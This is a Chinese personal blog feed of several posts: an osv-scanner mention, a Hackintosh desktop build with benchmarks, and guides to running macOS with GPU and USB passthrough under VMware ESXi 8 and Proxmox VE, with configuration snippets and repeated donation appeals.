支持扫描自以下项目的漏洞:AlmaLinux、Alpine、Android、crates.io、Debian GNU/Linux、GitHub Actions、Go、Hex、Linux kernel、Maven、npm、NuGet、OSS-Fuzz、Packagist、Pub、PyPI、Rocky Linux、RubyGems……
使用细节大家可以参考官方文档:https://google.github.io/osv-scanner/usage/
国光这里只做简单的的使用:
osv-scanner -r /path/to/your/dir
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>上一次写这种文章还是在两年前,如今物是人非事事休,欲语泪先流。之前陪伴我比较久的 i7-10700 台式机早已出掉回血换了个锻炼身体骑行的 IMPALA X CAMP 公路车,每天上下班骑行 40多 km 确实很健康,但是夏天到了我的 Intel Macbook Pro 16 也越来越热没法干活了~ 不行,还是得整一个性能强悍的台式机才行!顺便满足一点点游戏需求……
之前的 i7-10700 台式机卖了:
换了辆 CAMP IMPALA X 105版公路车,每天确实充实了很多,上下班来回骑行 40多 KM,如今身体素质明显强于之前,睡觉也更香了,总的来说还是很值的:

2023 年还是比较适合装机的,主要有如下几个原因:
但是对黑苹果来说依然前途一片迷茫,主要有如下几个原因:
话不多说,我们直接来看下本次装机的配置清单吧,包括三个显示器的价格总价是 ¥9990
| 配置 | 型号 | 参考价格(元) |
|---|---|---|
| CPU | i5-13600K 盒装 | ¥1948 |
| 主板 | 华擎 AsRock Z690 Steel Legend 钢铁传奇 WiFi 6E | ¥950 |
| 内存 | 金百达 黑爵 DDR4 3600Mhz 16GB * 2 条 | ¥300 |
| 显卡 | RTX 2080Ti 11GB + RX 570 8GB + Intel UHD 770 | ¥2139 |
| SSD | 爱国者 P7000Z PCie4.0 2TB | ¥489 |
| 电源 | 海盗船 RX850X 额定 850W | ¥350 |
| 散热 | 利民冰封幻境 240 水冷 | ¥170 |
| 机箱 | 爱国者 T16 ATX大机箱 | ¥119 |
| 网卡 | BCM94360CD 四天线版本 | ¥150 |
| 显示器1 | 不知名品牌但是面板不错的杂牌 28寸 4k 152Hz 显示器 | ¥1999 |
| 显示器2 | 不知名品牌但是面板不错的杂牌 27寸 4k 60Hz 显示器 | ¥780 |
| 显示器3 | LG 16寸 4K 3840x2400 16比10 便携显示器 | ¥599 |
整体来说还是一个性价比较高而且比较能打,真正可以干活当做生产力的配置。
说到性价比肯定会有人反问:就这配置还性价比?你让 i5-12400 情何以堪?
我:emmmm,确实,要是真正追求性价比的话,其实 12 代 i3 + H610 主板然后再搞个 RX580 矿卡的话,整体预算确实可以下降很多,而且也可以比较完美的黑苹果。但是这样整机的上限就很低了,扩展性和性能都没法这个 13600K + Z690 的搭配相比。
当然性价比只是相对的,就看和什么配置去比较了,下面是国光我认为这套配置性价比,比较高的地方:
只黑苹果的话「华擎 AsRock Z690 Steel Legend 钢铁传奇」主板 BISO 主要调整如下:
最终 Windows 下的测试成绩:
单核已经超过了 i9-12900K,多核也是五五开的水平:
如果超频 CPU 的话,根据我的 CPU 体制,主要 BIOS 调整如下(风扇全部调整为性能模式):
如果超频内存的话,根据我的金百达黑爵 16GB x 2 3600Mhz 18-22-22-44 1.35V 内存体制,这里不再啰嗦内存超频细节了,反正也比较简单就是设置好时序,频率以及内存电压即可,最终我的内存成绩为:
DDR4 4000MHz 1.38V C18-21-21-42 延迟 57.7NS
默频成绩直接不展示了,下面直接放一些国光我日常超频的测试数据。
使用最新的 Windows 11 进行测试,没办法不想用 Windows 11 的,但谁叫 Windows 10 对大小核调度不友好呢!
话不多说,先跑个娱乐大师吧,整机跑分 214 万分:
感觉 CPU 电压加一下,再小超一下 CPU 跑个 100 万分应该是没啥问题的,另外图上的内存忘记超了,稍微拖了点后腿。
使用 Geekbench6 进行测试,单核:2982 多核:14973
使用截止目前最新的 macOS 13.4 版本进行性能测试,分别使用了 Geekbench5 和 Geekbench6 进行跑分测试。
Geekbench5 单核:2243 多核:15662
Geekbench6 单核:2896 多核:13880
CINEBENCG R23 CPU 单核:25055 分,多核 2055 分:
和 Windows 下相比基本上是没损耗的,大小核都完全利用了起来。
RX 570 8GB 涡轮卡在 Geekbench5 下跑分 45794 分,Geekbench6 下跑分 53074 分:
对我搞 IT 的来说,这个 RX 570 有点性能过剩了,写代码、看视频、轻度剪辑哪需要这么强的显卡呀!
虽然官方的 MacPro 7,1 机型还没搭配过 PCIe 4.0 的硬盘,但并不妨碍我们的黑苹果主机跑满了 PCIe 4.0 硬盘的极速:
截止本文发布的时间,使用最新的 OpenCore 0.9.2 引导,安装了最新的 macOS Ventura 13.4 系统:
整机的体验还是非常丝滑顺畅的(虽然之前的 i7-10700 主机也很丝滑……)
CPU 的频率变频正常,超到 5.8Ghz 看着确实挺爽的:
满载运行,发现大小核均正常工作,20 个核心全部跑满:
虽然 13 代的核显无法被驱动,但是使用了 Mac Pro 7,1 工作站机型,有独显的话解码还都可以正常工作的:
使用 OC 自定义了内存数据,这样 Mac Pro 7,1 机型不会产生内存告警,而且看上去也很爽:
通过 @乌龙蜜桃来一打 分享 macOS 13 USB 解锁补丁) ,也可以定制超过 15 个端口数量的 USB 接口:
<dict> <key>Arch</key> <string>Any</string> <key>Base</key> <string></string> <key>Comment</key> <string>USB All Port</string> <key>Count</key> <integer>0</integer> <key>Enabled</key> <true/> <key>Find</key> <data>QYPlD0HT5UQJ6w==</data> <key>Identifier</key> <string>com.apple.iokit.IOUSBHostFamily</string> <key>Limit</key> <integer>0</integer> <key>Mask</key> <data></data> <key>MaxKernel</key> <string></string> <key>MinKernel</key> <string>22.0.0</string> <key>Replace</key> <data>QYPlP0HT5UQJ6w==</data> <key>ReplaceMask</key> <data></data> <key>Skip</key> <integer>0</integer></dict>
声卡工作比较完美,支持前置音频接口自动识别为耳机:
目前板载的 2.5G 有线网卡,使用 LucyRTL8125Ethernet.kext 驱动,基本上跑满了,测试和 Windows 下数据一样:
94360CD 网卡的 WiFi 速率正常,无线和蓝牙都是免驱正常驱的,隔空投送正常使用:

鼠标可以正常操作附近的 MacBook 或者 iPad:
且正常无线镜像或者扩展 MacBook 的显示器是没问题的:
CPU、GPU、风扇转速以及硬盘温度等传感器均正常工作:
支持完美的深度睡眠,且 WOL 网络唤醒正常工作,测试了一下,睡眠的时候整机功耗只有 2W:

iCloud 登录正常,AppStore 体验丝滑:
短信和接力正常工作:
写这篇文章的同时,也单独在 B 站投稿了视频,主要说明了本次配置的驱动效果情况:
https://www.bilibili.com/video/BV1H8411Z7AJ/
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>本文理论上是全球首发了,因为谷歌确实没有搜索到有人 ESXi 黑苹果直通 A 卡成功的案例,而且也没有看到有人使用 OpenCore 来引导 ESXi 虚拟的。大多数都是 N 卡直通黑苹果成功的,但是 N 卡从 macOS 10.14 系统开始基本上就是残废的状态,所以本文直通 A 卡成功以及使用 OC 引导虚拟机的姿势对全球黑苹果和虚拟化玩家来说还是有一定意义的,理论上来说 ESXi 7.X 和 6.X 也是可以成功的,这个得需要网友们自己去尝试看看了。
首先得先感谢一下 @darkless 好友的经验,让我在 ESXi 黑苹果直通这少走了很多弯路。
最近恰好 PVE 下黑苹果直通出了点小问题,那么乘此机会来尝试一下Vmware ESXi 8 看看。
ESXi 8.X 的安装镜像
macOS 的安装镜像
免驱的 AMD 独显 1 个:RX 4X0、RX 5X0、RX 5X00、RX 6X00 等
主板 BIOS 建议开启如下设置:
首先使用 Windows 下经典的 Rufus 制作一下 ESXi 启动盘
然后 ESXi 没啥可说的,谷歌一下,你就知道,本文重点的 ESXi 下的黑苹果,不能主次颠倒了。
很快啊,就安装好了,ESXi 8 的登录界面变了不少,符合现在的审美:
里面的界面布局感觉是没啥变化的:
我们玩黑苹果的基本上都是搞的 dmg 镜像,自行转换成 img 镜像后上传到 ESXi 的存储空间里面去:
因为目前 esxi unlocker 项目还不完全支持 ESXi 8,所以这里虚拟机的兼容性设置成 ESXi 7.0 U2:
macOS 版本选择 macOS 12,时间上我们使用 macOS 12 安装 macOS 13 Ventura 也是完全 OK 的。
硬件这里设置 8 核 16GB,为了方便后面直接直通显卡,我们这里需要勾选一下「预留所有客户机内存」选项:
为了更好的网络性能,网卡设置成 VMXNET3 万兆类型,然后手动选择我们之前上传好的 iso 镜像文件:
macOS 系统安装对于玩过黑苹果的用户来说很简单了,如果你没有黑苹果基础的话,关于 macOS 安装部分可以参考我的黑苹果专题文章:黑苹果系统安装 - 国光的 PVE 环境搭建教程
ESXi 方便就方便在还可以使用 Vmware Workstation 连接管理:
很快我们系统就安装好了:
刚刚安装好的话,显存只有 3MB,虽然后面我们会直通独显,但是安装一下 Vmware Tools 总比没有安装的好。我们如果手动安装 Vmware Tools 的话,多半还是会提示我们:
我们去官方下载页面下载一个 darwin.iso 即可:
没有 VMware 账号的话可下载国光我上传到蓝奏云的链接
手动安装一下,根据提示引导一个个允许扩展即可:
安装好之后显存就是 128MB 了,而且 Vmware Workstation 去连接的话也会自适应窗口调整分辨率的大小:
首先在「管理」-「硬件」-「PCI 设备」-「搜索 USB」将我们的 USB Controller 切换直通,使其处在活动状态:
这样我们可以简单一点,以直通 PCI 的形式,直接将 USB 控制器添加到 VM 虚拟机中:
这种确实是简单高效的,仔细想一下,我们需要直通 USB 的 VM 没有这么多,最多也就是 Windows 打游戏和 macOS 黑苹果办公,恰好我这边正好有两个 USB Controller,每个 VM 占用一个也是个很不错的方案。
其实通过上述一番操作之后,虚拟机系统也可以来识别一些 USB 设备信息,我们选择添加 USB 设备即可直通:
但是这些设备并不是很齐全,比如这里就确实了键盘和鼠标的 USB 信息。
首先 ESXi 开启服务模式,SSH 进入 ESXi 的 shell 环境,使用
lsusb查看列出目前 ESXi 宿主机的 USB 设备信息:
将上述需要直通的 USB 信息整理出下面的表格:
| 厂商 ID | 设备 ID | 设备说明 |
|---|---|---|
| 0d8c | 0014 | USB 音频设备 |
| 08bb | 2902 | USB 音频设备 |
| 0f39 | 0611 | IKBC Poker 键盘 |
| 046d | c08b | 罗技 G502 鼠标 |
以 usb.quirks.device<编号> = "0x<厂商ID>:0x<设备ID> allow" 的格式,添加到 /etc/vmware/config 文件后面
vi /etc/vmware/config根据我的情况文件末尾添加如下内容:
usb.quirks.device0 = "0x0d8c:0x0014 allow"usb.quirks.device1 = "0x08bb:0x2902 allow"usb.quirks.device2 = "0x0f39:0x0611 allow"usb.quirks.device3 = "0x046d:0xc08b allow"
继续编辑 /bootbank/boot.cfg 启动引导文件,禁用掉VMkernel对上述设备获取控制权。:
vi /bootbank/boot.cfg在 kernelopt 参数后面添加如下格式:
CONFIG./USB/quirks=0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE:0x<厂商ID>:0x<设备ID>::0xffff:UQ_KBD_IGNORE最终国光我编辑的内容如下:
CONFIG./USB/quirks=0x0d8c:0x0014::0xffff:UQ_KBD_IGNORE:0x08bb:0x2902::0xffff:UQ_KBD_IGNORE:0x0f39:0x0611::0xffff:UQ_KBD_IGNORE:0x046d:0xc08b::0xffff:UQ_KBD_IGNORE
操作完成后,重启 ESXi 宿主机,然后我们就可以通过编辑虚拟机设置来灵活地添加 USB 键鼠设备了:
直通后我们就可以使用键盘和鼠标操作我们的黑苹果虚拟机了,进系统也发现可以正常识别了我们的 USB 设备:
因为 WiFi 无线网卡本身是走 PCIe 接口传输数据的,所以这里直通就很简单了,切换网口的直通状态,然后直通对应的 PCI 设备即可:
因为直通了免驱无线网卡的 WiFi 和蓝牙,所以理所应当的我们可以正常使用 macOS 原生的隔空投送和接力功能:
下面说到重头戏了,就是直通 AMD 免驱独显,本次使用的 RX 570 公版涡轮显卡来进行演示,实际上好友 darkless 他使用的是 RX 6600 也是成功直通使用的,而且不像黑苹果物理主机一下需要添加防黑苹果参数,这一点还是有点小意外的,话不多说,开始正式教程。
直通一下显卡相关的设备,一般就是显卡本身以及 HDMI 音频,部分带 Type-C 的显卡可能还需直通一下 Type-C 部分:
显示器黑屏没有反应,但是系统报告信息里面已经识别到了 A 卡了,可惜就是无法驱动:
可以看到上一步我们的操作 AMD 的独显肯定是直通成功了的,否则也不会在系统报告里面看到我们的独显了,但是理论上我们的 A 卡肯定都是免驱的,那么这是为什么呢?
不铺垫了,直接在虚拟机的高级选项里面添加如下两个变量即可:
| 参数 | 参数值 |
|---|---|
| pciPassthru0.opromEnabled | TRUE |
| pciPassthru0.filename | 显卡 ROM 的路径 |
其中 0 指的是直通独显的 PCie 位置索引,懂编程的都明白,计算机的索引都是从 0 开始,所以这里写 0
以上一番操作过后,顺利的话大概率是成功的,下面是直通的一些 Tips 具体还得大家自己去实践总结:
svga.present 参数改为 FALSE,即可关闭内置的虚拟显示器无论是自己尝试,还是知识付费尝试都需要经历一番操作的,无非是知识付费走的弯路要少一点,但还是需要人力成本去解决问题,最终我们的 ESXi 成功直通了 AMD 显卡以及免驱的 BCM 博通无线网卡,以及直通了 USB 任意设备,最终我们的 ESXi 黑苹果基本上完美了,其实也足够单刃生产力工具了!!!
系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。
最后来看看我们这个 ESXi 的直通效果怎么样吧:
Vmware7,1 机型,系统报告里面可以明显看出这是一个虚拟机:
AMD RX 570 驱动正常,DP 接口正常带动 4K 120Hz 屏幕,且 HiDPi 原生识别正常:
ESXi 下使用网络类型默认 macOS 下免驱,这 10G 网卡可以妥妥的万兆网卡速率哦:
ESXi 下的虚拟硬盘在 macOS 下识别为 SATA 类型,使用「厚置备,延迟置零」的情况下,手上这个 S500 Pro 1TB 速度测试都挺正常的,和直通的效果差不多:
QQ 也可以正常打开,这一点要单独提一下,PVE 黑苹果使用 Virto 打不开 QQ 和一些软件,只能切换 SATA 类型硬盘使用,但是 4k 读写会变得巨慢,体验不好;ESXi 下黑苹果默认就是 SATA 硬盘,所以软件没遇到啥兼容性问题,且读写速度和真实的硬盘速度差不多,没啥损耗。
无线和蓝牙均正常使用:
隔空投送正常发送和接受文件:
三码序列号追求完美的话需要想办法重新定制一下,导致 VDA 解码失败,这里挖个坑,国光我后面会填的:
这里可以看到基本上设备都正常识别和驱动的:
不过这里 USB 驱动方式可能是 Vmware 自己定制的,Hackintool 虽然识别不到 USB,但是 macOS 系统报告里面可以正常识别:
Sensei 也正常打开使用,我记得 PVE 下好像这块是也有点问题的:
因为这是虚拟机,所以除了显卡,其他是没有传感器的,但是比较有意思的腾讯柠檬居然可以显示这个温度信息,不过这可能是假的信息,一直不会动:
虚拟机下讨论睡眠唤醒的意义好像不大,因为宿主机一直得开机,不过让人惊讶的是,这个 ESXi 黑苹果是支持睡眠唤醒的,晃晃鼠标即可唤醒睡眠状态下的黑苹果虚拟机。
睡眠的瞬间硬盘会读写存放数据,此时 CPU 使用 ESXi 下看可以看到还是以低频工作,不过此时显示器和鼠标都是熄灯的,确实和真的睡眠一样,且可以正常被晃鼠标或者敲键盘唤醒:
通过上述的效果,我们总结几个目前黑苹果不完美的地方和缺点:
其实以上问题如果使用 OpenCore 引导的话都不是问题,那么 ESXi 能否使用 OpenCore 引导呢?回答是:可以!下面让国光我缓缓道来。
使用下文分享的 OpenCore EFI 引导,使用 OCC 编辑器添加到 EFI 引导分区下,然后勾选「强制执行 BIOS 设置」:
然后手选择 OC 引导:
「BIOS 首页」 - 「Enter Setup」-「Boot from a file」-「找到 EFI 分区选择 BOOT/BOOTx64.efi」即可成功加载 OC 的引导:
然后也顺利开机,OC 引导成功,机型和三码都被我们成功修正了,CPU 型号也正常识别了:
Bingo! 这样子应该又是全球首发了吧,顺便庆祝我的专项「黑苹果教程」关键词登上谷歌第一:
手动进 Vmware 虚拟机的 BIOS 里面添加我们的 OC 引导,然后将其设置为第 1 启动:
即可正常通过我们的 OC 引导 macOS 系统了
其实 Vmware 下的 OpenCore 并不难,因为 Vmware ESXi 的环境基本上就是完美的,我们使用 OC 只是简单修正一下即可。
下面就分享一下国光我使用本机的虚拟环境定制的 ESXi OpenCore EFI,分享给网友们参考:
EFI 开源项目地址:https://github.com/sqlsec/Vmware-ESXi-OpenCore
主要优化了如下内容:
macOS 13 的主要更新就是这个台前调度了:
显示器正常点亮,因为是 4K 显示器 HiDPi 默认开启:
MacPro 工作站机型的内存需要自己定制一下,解决了内存告警问题,EFI 里面已经定制好了,网友们也可以根据自己的事情情况修改一下:
最后贴一个最终效果图吧,总之目前体验下来和物理黑苹果没啥区别,Apple ID 也正常登录,隔空投送呀、WiFi 蓝牙都正常使,总之就是这么丝滑:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>好像有一段时间没有怎么搞技术了,博客也断更了有一段时间,所以得调整下自己了。一般这个时候我就喜欢收拾家庭卫生,搞搞电脑系统配置,有善始者实繁,好好立 Flag,就好像这些准备好之后真的会认真搞技术一样。具体可以坚持多久我也不清楚,总之先做着看看吧,所以这篇 PVE 虚拟化生产环境配置的文章就此诞生了。
PVE 的全称是 Proxmox Virtual Environment,是一个基于 QEMU/KVM 的 Linux 下的虚拟机,相比于传统的 Vmware 等虚拟机,主要的优点就是支持硬件直通了。硬件直通这意味着可以把你的显卡等设备直通到虚拟机中,给你的虚拟机注入鸡血,再也不用忍受传统虚拟机孱弱的显卡图形性能了!物理机足够强的话,虚拟机的使用体验基本上也不会差的。如果你还有多显示器的话,无需重启切换系统,就可以一边 Windows 下畅玩 3A 大作游戏,一边使用 macOS 进行视频剪辑渲染,再一边使用 Linux 进行编程开发等,真就工作生活两不误,让你的冗余的电脑配置性能得到充分的释放利用。
先看下国光我目前的主要硬件情况:
| 硬件 | 型号规格 | 备注 |
|---|---|---|
| CPU | I7-10700 8核16线程 | 10 代是黑苹果的绝唱了 |
| 内存 | 64GB DDR4 2666Mhz | 内存插满了就得利用起来呀 |
| 显卡-1 | 蓝宝石 RX6600XT 白金版 | 物理黑苹果或者 PVE Windows 使用 |
| 显卡-2 | 迪兰恒进 RX470 4GB | 物理黑苹果或者 PVE macOS 使用 |
| SSD-1 | WD SN570 1TB | 专门安装 PVE 系统 |
| SSD-2 | WD SN550 512GB | 物理黑苹果专用 |
| HDD-1 | WD 机械 1TB | 做 Exfat 格式数据中转使用 |
| HDD-2 | 希捷 2TB | 做资料存储私有 |
| HDD-3/4 | 两个希捷 2TB | 组 Raid1 做重要资料备份 |
| 显示器-1 | 27寸 4k IPS 显示器 | 可控 PVE macOS 使用 |
| 显示器-2 | 28寸 4k 144Hz IPS 显示器 | 可供 PVE Windows 使用 |
| 显示器-3 | 15.6寸 4k 触控便携显示器 | 灵活调度使用 |
| 妙控板 | 妙控板 2 代 新款 | 物理黑苹果和 PVE 黑苹果使用 |
| 笔记本 | Macbook Pro 16 寸 2019 款 | 本文就是在这台机器上写的 |
| 平板 | iPad Pro 11寸 | iPad 也可以进 Web 界面管理 PVE |
| 键盘搭配 1 | IKBC Poker + 罗技 G102 | PVE macOS 黑苹果使用 |
| 键鼠搭配 2 | 客制化键盘 + 罗技 G304 + Xbox one 手柄 | PVE Windows 下使用 |
可以看到国光我目前的配置还是很适合做 PVE 的,不体验一下可惜了:
另一个比较巧的是 PVE 目前黑苹果已经算是比较成熟的了,不会像之前我搞双屏笔记本黑苹果那样,完全没有任何可参考的资料,踩了很多坑。下面是国光我学习 PVE 中一些很宝贵的资料,基本上结合这些资料都可以很成功的
PVE 其实是基于 Debian 封装的,但是不建议大家先安装 Debian 再安装 PVE,这样会给自己找很多不必要的麻烦。建议直接使用 PVE 官方的镜像,官方镜像实际上就是集成了 PVE 的最小化 Debian 环境,完全不用自己去配置安装,非常方便。
BIOS 主要关注几个点:
官方 ISO 镜像下载地址:https://www.proxmox.com/en/downloads/category/iso-images-pve
本次安装使用的并不是最新的 7.1 版本而是 7.0-2 版本,B 站司波图的 PVE 黑苹果视频教程提到过这一点,起初我还不信,最后果然翻车了,显卡直通 PVE macOS 的时候 OC 直接卡日志,因为这个是一个虚拟机环境,日志排错起来难度非常高,我直接放弃了,最后我老老实实安装了这个 7.0-2 版本了。
balenaEthcher 直接写入到 U 盘就完事儿了,或者 Windows 下的 Rufus 也都是不错的制作启动盘的工具,硬核的话直接使用原生的 dd 命令写入也可以的。
整个 PVE 安装过程很简单,所以下面只放关键的截图。首先选择一个你准备好安装 PVE 的整个磁盘,我选择的是 1TB 的 SN570:
设置 PVE 的 root 用户的密码,因为 PVE 是开源免费软件,邮箱啥的填自己的是没关系的:
选择好自己的网卡,然后配置 1 个静态 IP,根据自己的实际情况配置网关、DNS 等:
最后没问题的话,点击「Install」安装完成自动重启就安装完毕了:
硬盘速度快的话,整个过程安装只需要 5 分钟左右。
很快啊,我们就安装完成了,重启即可自动进入 PVE 系统,默认是没有图形化界面的,非常简约。虽然我们可以在这里直接登录操作 PVE 系统:
但是这样不是很优雅,所以我们常常上面标记的 Web 地址去管理访问:
至此 PVE 就大功告成了,下面准备来挑战一下 PVE 黑苹果吧。
PVE 安装黑苹果的优势比较明显,因为大家虚拟出的环境基本上是差不多的,所以基本上不挑剔硬件,那么就可以直接使用别人配置好的 OpenCore 引导轮子了,如果追求完美性能的话,也只需要准备 1 个 macOS 免驱的独显即可。
开源项目地址:https://github.com/thenickdude/KVM-Opencore/releases
直接下载解压然后上传到 PVE 的 ISO 镜像库即可
这种方式用于在线安装 macOS 的原版镜像,优点是纯净,但是对网速比较差的网友不是很友好。
开源项目地址:https://github.com/thenickdude/OSX-KVM
需要我们自己手动编译生成 Monterey-recovery.img 恢复镜像,使用 Linux 或者 macOS 直接 make 编译即可:
# 拉取项目git clone https://github.com/thenickdude/OSX-KVM.git# 编译恢复镜像cd scripts/montereymake Monterey-recovery.img# 如果你网速很快的话 直接构建完整版镜像也是 OK 的 (可选操作)make Monterey-full.img最后上传 Monterey-recovery.img 到 PVE 的 ISO 镜像库即可
对于我们黑苹果职业玩家来说,出来工作随身带个“锤子”是很正常的,所以大家基本上都是有黑苹果镜像的,不过呢我们的镜像是 dmg 格式的后缀,PVE 并不支持 dmg 后缀的镜像上传。解决方法也很简单,直接将镜像重命名为 iso 即可,对,就是这么简单,甚至都不需要使用 dmg2img 这种工具。
最后上传 macOS-12-3.iso 到 PVE 的 ISO 镜像库即可
目前一共用到了 3 个镜像,分别是:
国光我偏向于本地安装,速度快一点,这个因人而异,大家自行抉择。
为了避免在 macOS 引导期间出现引导循环死机,得先进入 PVE shell 环境运行如下命令:
echo "options kvm ignore_msrs=Y" >> /etc/modprobe.d/kvm.conf && update-initramfs -k all -u修改完成重启 PVE:
下面是 PVE 虚拟机创建的一些主要细节,PVE 会给你的虚拟机分配一个 VM ID,这个 ID 后面后续会用到:
先添加一个 OpenCore 的引导镜像,系统类别选择「Other」:
显卡选择「VMWare 兼容」,开启 Qemu 代理,BIOS 选择「QVMF UEFI」,机器选择「q35」,详细细节参考下图:
硬盘选择「VirtIO Block」,缓存选择「Write back 不安全」,磁盘大小根据你的需要进行设置,其他默认即可:
CPU 设置好核心数(建议 2、4、8),类别选择「Penryn」,勾选「启用 NUMA」,其他全部默认即可:
根据自己的实际配置分配内存,macOS 12 的话建议至少 8GB 内存:
网络这里选择「VirtIO 半虚拟化」:
创建完虚拟机后先不要着急开机,我们再添加一个我们的之前上传好的黑苹果本地的网站镜像:
如果没有黑苹果本地完整镜像,这一步添加之前的 Monterey-recovery.img 官方恢复镜像也是完全 OK 的(我们常说的在线安装形式)。
我们之前 macOS 的虚拟机的 ID 为 100,所以我们可以通过这个 ID 直接来编辑虚拟机的配置( Web 界面功能有限,直接编辑配置可以更灵活定制):
nano /etc/pve/qemu-server/100.conf 根据自己的 CPU 类别,在第 1 行添加如下配置:
args: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu host,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtscargs: -device isa-applesmc,osk="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -smbios type=2 -device usb-kbd,bus=ehci.0,port=2 -cpu Penryn,kvm=on,vendor=GenuineIntel,+kvm_pv_unhalt,+kvm_pv_eoi,+hypervisor,+invtsc,+pcid,+ssse3,+sse4.2,+popcnt,+avx,+avx2,+aes,+fma,+fma4,+bmi1,+bmi2,+xsave,+xsaveopt,check接着修改我们的 CD 光盘配置,删掉「media=cdrom」换成「cache=unsafe」,最终的配置效果如下:
直接启动我们配置好的虚拟机,可以看到了熟悉的界面:
那么下面就像黑苹果那样正常操作走一遍流程吧。
先进入磁盘工具,选择我们之前创建的 300GB 的磁盘,正常擦除为 APFS 格式:
后面就是常规的安装了,没啥可说的了:
对这个安装不熟悉的网友可以参考我的这篇文章:安装 macOS · 国光的黑苹果安装教程
最后很顺利的就成功安装进入系统了:
可以看到目前的显卡还是没有驱动的,但是问题不大,我们下面的文章接着优化。
PVE 因为没有有桌面的原因,每次开启启动都需要通过 Web 界面来启动,我们也可以直接将虚拟机设置开机自启动:
这样在直通显卡的操作后也会和物理机黑苹果有差不点多的体验。
安装好系统后就可以不用使用黑苹果镜像了,可以直接移除掉了:
移除镜像后重启。可以看到没有了之前的安装 macOS 选项了,直接就可以选择进入 Macintosh 已经安装好系统的磁盘:
